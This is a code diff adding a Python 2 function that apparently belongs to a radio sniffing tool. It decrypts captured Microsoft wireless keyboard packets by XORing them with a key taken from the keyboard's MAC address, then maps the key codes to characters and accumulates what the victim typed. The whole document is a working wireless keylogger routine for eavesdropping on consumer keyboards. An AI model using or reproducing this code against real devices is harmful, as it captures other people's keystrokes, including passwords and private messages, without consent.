+
+mskbstring="";
+oldseq=-1;
+def printmspacket(packet,offset=1):
+ """Decodes a Microsoft keyboard packet and maintains the typed strings."""
+ global mskbstring, oldseq;
+ keyword=client.RF_getsmac();
+ #print "keyword=%010x" % key;
+ key=[];
+ ct=[];
+ for foo in range(0,5):
+ key.append(keyword&0xFF);
+ keyword=(keyword>>8);
+ #print "Keybyte %02x" % key[foo];
+ i=0;
+ s="";
+
+ for foo in packet:
+ if i>=4:
+ ct.append(ord(foo)^key[(i+offset)%5]);
+ s="%s %02x" % (s,ord(foo)^key[(i+offset)%5]);
+ else:
+ ct.append(ord(foo));
+ s="%s %02x" % (s,ord(foo));
+ i=i+1;
+ #Uncomment this to print the raw packet, kinda noisy.
+ print "%s" % (s);
+
+ letter=None;
+ seq=ct[4];
+ if ct[0]==0x0a and ct[1]==0x78 and seq!=oldseq:
+ oldseq=seq;
+ #TODO replace this with a dictionary, and support modifiers.
+ if ct[9]==0:
+ #Key up event, not worth logging.
+ pass;
+ elif ct[9]>=4 and ct[9]<0x1E:
+ letter=ct[9]+ord('A')-4;
+ elif ct[9]>=0x1E and ct[9]<0x27:
+ letter=ct[9]+ord('1')-0x1E;
+ elif ct[9]==0x27:
+ letter=ord('0');
+ elif ct[9]==0x29:
+ #escape
+ letter=ord('e');
+ elif ct[9]==0x2d:
+ letter=ord('-');
+ elif ct[9]==0x2e:
+ letter=ord('=');
+ elif ct[9]==0x35:
+ letter=ord('`');
+ elif ct[9]==0x2C:
+ letter=ord('_');
+ elif ct[9]==0x34:
+ letter=ord('\'');
+ elif ct[9]==0x36:
+ letter=ord(',');
+ else:
+ print "Unknown character 0x%02x." % ct[9];
+ letter=ord('?');
+ if letter!=None:
+ mskbstring="%s%c" % (mskbstring,letter);
+ print "# %s" % mskbstring